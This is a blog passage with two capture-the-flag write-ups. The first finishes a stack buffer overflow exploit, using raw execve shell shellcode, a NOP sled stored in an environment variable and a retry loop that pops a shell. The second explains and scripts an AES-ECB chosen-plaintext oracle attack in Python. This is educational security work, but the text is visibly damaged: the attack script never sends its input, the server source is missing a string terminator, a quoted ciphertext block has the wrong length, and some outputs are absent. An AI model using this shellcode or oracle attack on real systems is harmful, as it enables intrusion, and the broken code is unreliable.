annnnd no, they’re both 0x0 by the time the attacker gets control of EIP. But what’s this, EBX points into the stack (verified by another look at the /proc/PID/maps):

ffa3e000-ffa5f000 rwxp 00000000 00:00 0		[stack]  

But alas, poring over the hexdump of the static mappings in memory, there is no CALL EBX (FF D3) or JMP EBX (FF E3) gadgets! There’s not even something more indirect, like a PUSH EBX; RET (53 C3).

Another idea was to try to jump to one of the GOT entries, but this is a tiny little toy binary! It doesn’t import anything useful, as we see with objdump -T:

DYNAMIC SYMBOL TABLE:                                                          
00000000      DF *UND*  00000000  GLIBC_2.0   printf                           
00000000      DF *UND*  00000000  GLIBC_2.0   fflush                           
00000000      DF *UND*  00000000  GLIBC_2.0   getegid                          
00000000      DF *UND*  00000000  GLIBC_2.0   puts                             
00000000  w   D  *UND*  00000000              __gmon_start__                   
00000000      DF *UND*  00000000  GLIBC_2.0   __libc_start_main                
00000000      DF *UND*  00000000  GLIBC_2.0   sprintf                          
00000000      DF *UND*  00000000  GLIBC_2.0   setresgid                        
08049a40 g    DO .bss   00000004  GLIBC_2.0   stdout                           
0804872c g    DO .rodata        00000004  Base        _IO_stdin_used 

If there was a system() in here or something it would be a different story maybe, but as is, there are no useful standard library calls in this table.

The ROP approach to this has failed me.

Phoning a Friend

At this point I called a smart friend of mine for a tip on how to jump the instruction pointer to this stupid shellcode on the stack. We discussed more advanced gadget-finding using Z3 solvers and all sorts of stuff, but ultimately the hints that stuck with me were:

  • Duh, you can stack spray like it’s 1992: just make your input 100KB, NOP-sled to the end where shellcode lies, and re-run the exploit until it works by chance (until the input happens to inhabit a range around the address we choose to put in the overflowed return pointer).
  • You can store an arbitrary amount of NOP-sled in an environment variable and it will all get located in the stack segment.

Making It Work

Okay, so I have a good idea of how to (messily and probabilistically) get a successful exploit. The only thing I skipped over earlier was determining exactly how many bytes offset into the attack input we need to place the pointer. The way you do this is to use an exploit pattern string, such as you can generate online here or offline using various tools, and then watch the value of EIP when the process crashes under GDB:

$ gdb --args ./overflowme Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
(gdb) b vuln
(gdb) run
(gdb) ni
# etc ...
(gdb) info registers
# I observe that the bytes from the pattern that fill EIP (little endian, remember) are "g8Bg".

I chose a pointer that was in the middlish-range for the stack: 0xff881111, converted it into little-endian order, and put it into the attack string at the same location. We can confirm:

$ gdb --args ./overflowme $(python -c 'print "A"*985 + "\x11\x11\x88\xff"')
(gdb) b vuln
(gdb) run
(gdb) ni
# etc ...
(gdb) info registers
# I observe that EIP is 0xff881111. Maybe it doesn't point into the stack on THIS run but it sometimes will, which is all we need, since we're allowed to retry the attack until it does.

Putting it all together:

# Store a NOP sled of 0x90 bytes and the shellcode at the end, in the stack via an env. var.:
$ export SHELLCODE=$(python -c 'print "\x90"*100000 + "\x31\xC0\xF7\xE9\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x68\x2D\x69\x69\x69\x89\xE6\x50\x56\x53\x89\xE1\xB0\x0B\xCD\x80"')

# Point to the stack, and keep running the attack until it works: the ol' "spray & pray"
$ for i in {1..100}; do ./overflowme $(python -c 'print "A"*985 + "\x11\x11\x88\xff"'); done

# Boom, it pops a shell:
$ ls
key  overflowme  overflowme.c                                                  
$ cat key

12 Feb 2017, 13:40

Enigma2017 CTF Broken Encryption Writeup

There is a new “Jeopardy style” security CTF web framework (CTF-as-a-Service?) called HackCenter that just debuted from For All Secure, the CMU-affiliated security startup known for winning last year’s DARPA Cyber Grand Challenge Final Event with their game-playing “automated exploit generation” system they called Mayhem CRS. HackCenter is their “other” technology, I guess, and right now the only CTF they’ve hosted is/was the one that occurred at Enigma2017 USENIX conference at the end of January. It seemed to be marketed as educational: “learn to hack!” and not as unfriendly and elitist as some of the more competitive CTFs, so I gave it a look. Also, this was a chance to refresh myself on some Python.

The Challenge

They give us a telnet server that prompts us to send whatever string we want, and then it sends back an encrypted version of that string. Also they give us this source code for the server:

#!/usr/bin/python -u
from Crypto.Cipher import AES

flag = open("flag", "r").read().strip()
key = open('enc_key', 'r').read().strip().decode('hex')

welcome = """
************ MI6 Secure Encryption Service ************
                  [We're super secure]
       ________   ________    _________  ____________;_
      - ______ \ - ______ \ / _____   //.  .  ._______/ 
     / /     / // /     / //_/     / // ___   /
    / /     / // /     / /       .-'//_/|_/,-'
   / /     / // /     / /     .-'.-'
  / /     / // /     / /     / /
 / /     / // /     / /     / /
/ /_____/ // /_____/ /     / /
\________- \________-     /_/


def pad(m):
  m = m + '1'
  while len(m) % 16 != 0:
    m = m + '0'
  return m

def encrypt():
  cipher = AES.new(key,AES.MODE_ECB)

  m = raw_input("Agent number: ")
  m = "agent " + m + " wants to see " + flag

  return cipher.encrypt(pad(m)).encode("hex")

print welcome
print encrypt()

We also get a web shell on hackcenter.com: literally an in-browser terminal emulator connected to the remote server (we do not have read access to the directory with “flag”), but for this problem we will just open our local Terminal app and poke around.

Anything ECB is Bad Mmmkay

Look at the source: basically, "agent " + yourinput + " wants to see " + flag is padded out to the next nearest AES block length (128 bits == 16 bytes) and then encrypted with AES-ECB using whatever the key is. Now, basically the first thing you learn about block ciphers is to never use the Electronic Code Book (ECB) mode. You’ll see a photo of Tux the Linux mascot encrypted with AES-ECB and how you can still see the edges of the image in the encrypted version. But that’s about it. It’s rare to see an explanation of why this is relevant or how to break it. Just, “everyone knows it’s bad.”

The reason why ECB mode of any block cipher is bad is that the same input always encrypts to the same output. The input is broken into fixed-length blocks and encrypted, and all of the blocks of identical input will create similarly equal output blocks. The data is all encrypted, but we know where their plaintexts were the same. There is no key recovery attack against this issue, at least not that I am aware of, but the problem is that the plaintext can be guessed. There are two basic attacks against ECB:

  1. Given enough encrypted blocks and some partial knowledge of the plaintext (known offsets of fixed data, like as defined by filetype formats or communication protocols), statistical and frequency analysis (and some guessing, then confirming) can reveal partial plaintext.
  2. Given the ability to prefix or circumfix (that means insert in the middle somewhere) arbitrary plaintext, and then have it encrypted and view the resulting ciphertext, an attacker can stage what cryptographers call a Chosen Plaintext Attack (CPA). The scenario of passing arbitrary plaintext to a remote encryptor and receiving the ciphertext back is also called an Oracle. This is the attack we will discuss in this post.

The reason why this is relevant is that to the average programmer who can’t be bothered, ECB looks like a valid mode choice for AES, a cipher that people generally recommend: “military grade crypto,” right? They might use it to encrypt the cookie their web site stores in your browser. Or if they’re especially ignorant in security like the people who work at Adobe, they might use it to encrypt their users’ passwords on the server.

Breaking ECB with the Chosen Plaintext Attack

Being able to circumfix our arbitrary input into the plaintext (at a known location in that string) means that we can choose an input such that we can fully align our known substring on an AES block boundary. Thus allowing us to test what the ciphertext is for any arbitrary block that we choose.

"agent " + yourinput + " wants to see " + flag + padding
(6 chars)  (n chars)    (14 chars)   <β€”- if you want to test-encrypt a single block of arbitrary input, put your test input on a 16-byte block boundary, like so: yourinput = "01234567891000000000000000". "1000000000000000" is at bytes 16 through 31 of the input, aka the second AES (128-bit, 16-byte) block.

We don’t know how long the flag is, but we know how the padding is applied: if the plaintext message does not end on a 16-byte boundary, then it is extended by a single “1” and up to 14 “0” characters. If the plaintext message does end on a 16-byte boundary, then it is extended by a full block of padding: 1000000000000000. This may seem counter-intuitive, but there always has to be padding in a block cipher, even when the message length already is a multiple of the block length: otherwise how would you know if the last block is padding or if 1000000000000000 was part of the message?

See where we’re going with this? We will give the above plaintext, and observe the output’s 2nd block. That is the exact same output we would expect to see as the last block of ciphertext if the flag ends at a block boundary and the final block were AES padding.

Agent number: 01234567891000000000000000

Note the second block (32 hex characters = 16 bytes) of ciphertext is 53b1c1d36d11a2c20dfc3913bb299f11c and, through a stroke of luck, we’ve already aligned the overall message on a block boundary too, as we see 53b1c1d36d11a2c20dfc3913bb299f11c is also the last block of ciphertext!

The game now is to insert one additional byte of arbitray text in order to push a single byte of the “flag” portion of the string rightward into the padding block. The final padding block will be n100000000000000 where n is the unknown byte of flag.

What will we do then to guess that byte? We’ll brute-force it: send new plaintext messages for all 255 possibilities of n in our block-aligned arbitrary input (which is the 2nd block). When the ciphertext’s 2nd block matches the ciphertext’s 7th block, then we know we guessed correctly. Then we’ll insert one additional byte again at the same location, and repeat this process. In other words, we expect to send a series of messages like the following:

0123456789e100000000000000 ... let's say that ciphertext blocks 2 and 7 match at this point!
0123456789fe10000000000000 ... they match again. We so far know last block = fe10000000000000
and so on, and so on... up to 255 guesses per byte and as many bytes as we need to discover

In practical terms, we can try guessing only in the ASCII range of 0x20-0x7E or so, since we expect the secret in this case to be plaintext (the “flag”). This will speed things up by more than double.

Putting it All Togther: A Solution in Python

Knowing what to do is half the battle. The other half is coding it up and tearing your hair out over data alignment issues and dynamic typing issues.


# Enigma2017 CTF, "Broken Encryption"

import sys
import time       # for using a delay in network connections
import telnetlib  # don't try using raw sockets, you'll tear your hair out trying to send the right line feed character

__author__ = 'michael-myers'

# TODO: I'm interested in any more elegant way to block-slice a Python string like this.
# Split out every 16-byte (32-hex char) block of returned ciphertext:
def parse_challenge(challenge):
    ciphertext_blocks = [challenge[0:32], challenge[32:64], challenge[64:96],
                         challenge[96:128], challenge[128:160], challenge[160:192],
                         challenge[192:224], challenge[224:]]
    return ciphertext_blocks

# To attack AES-ECB, we will be exploiting the following facts:
#   * we do not know all of the plaintext but we control a substring of it.
#	* the controlled portion is at a known offset within the string.
#   * by varying our input length we can force the secret part onto a block boundary.
#   * we can choose our substring to be a full block of padding & align it at a boundary.
#   * if the message ends at a block boundary, the last 16-byte block will be all padding.
#   * thus we know when the secret part is block aligned; we'll see the same ciphertext.
#   * there is no nonce or IV or counter, so ciphertext is deterministic.
#   * by varying length of plaintext we can align the secret part such that there 
#		is only one unknown byte at a time being encrypted in the final block of output. 
#	* by varying one byte at a time, we can brute-force guess input blocks until we
#       match what we see in the final block, thus giving us one byte of the secret.
#   * we will limit our guesses to the ASCII range 0x20-0x7E for this particular challenge.
# Begin by changing the 2nd block of plaintext to n100000000000000, where n is a guess. 
# If the ciphertext[2nd block] == ciphertext[7th block] then the guess is correct,
# otherwise increment n.
def main():
    # If the Engima2017 servers are still up: enigma2017.hackcenter.com 7945
    if len(sys.argv) < 3:   # lol Python doesn't have an argc
        print 'Usage : python CTF-Challenge-Response.py hostname port'
    host = sys.argv[1]
    port = int(sys.argv[2])
    guessed_secret = ""

    # Our input pads to the end of the 1st block, then aligns a guess at block 2.
    # Because we need to constantly alter this value, we are making it a bytearray. 
    # Strings in Python are immutable and inappropriate to use for holding data.
    chosen_plaintext = bytearray("0123456789" + "1000000000000000")

    # Guess each byte of the secret, in succession, by manipulating the 2nd plaintext
    # block (bytes 10 through 26) and looking for a matched ciphertext in the final block:
    for secret_bytes_to_guess in range(0, 64):
        # Add in a new guessing byte at the appropriate position:
        chosen_plaintext.insert(10, "?")

        # Guess over and over different values until we get this byte:
        for guessed_byte in range(0x20, 0x7E):  # this is the printable ASCII range.
            chosen_plaintext[10] = chr(guessed_byte)

            tn = telnetlib.Telnet("enigma2017.hackcenter.com", 7945)
            tn.read_until("Agent number: ")

            # Telnet input MUST BE DELIVERED with a \r\n line ending. If you send
            # only the \n the remote end will silently error on your input and send back
            # partially incorrect ciphertext! Untold hours debugging that bullshit.
            # Here we carefully convert the bytearray to ASCII and then to a string type, 
            # or else telnetlib barfs because of the hell that is dynamic typing.
            send_string = str(chosen_plaintext.decode('ascii') + "\r\n")

            challenge = tn.read_all()
            # time.sleep(0.5)   # (optional) rate-limit if you're worried about getting banned.

            ciphertext_blocks = parse_challenge(challenge)
            print "Currently guessing: " + chosen_plaintext[10:26]  # 2nd block holds the guess
            print "Chosen vs. final ciphertext blocks: " + ciphertext_blocks[1] + " <- ? -> " + ciphertext_blocks[6]

            # We're always guessing in the 2nd block and comparing result vs the 7th block:
            if ciphertext_blocks[1] == ciphertext_blocks[6]:
                print "Guessed a byte of the secret: " + chr(guessed_byte)
                guessed_secret = chr(guessed_byte) + guessed_secret
                break   # Finish the inner loop immediately, back up to the outer loop.

    print "All guessed bytes: " + guessed_secret


if __name__ == "__main__":

And, after all of this, we uncover the flag: 54368eae12f64b2451cc234b0f327c7e_ECB_is_the_w0rst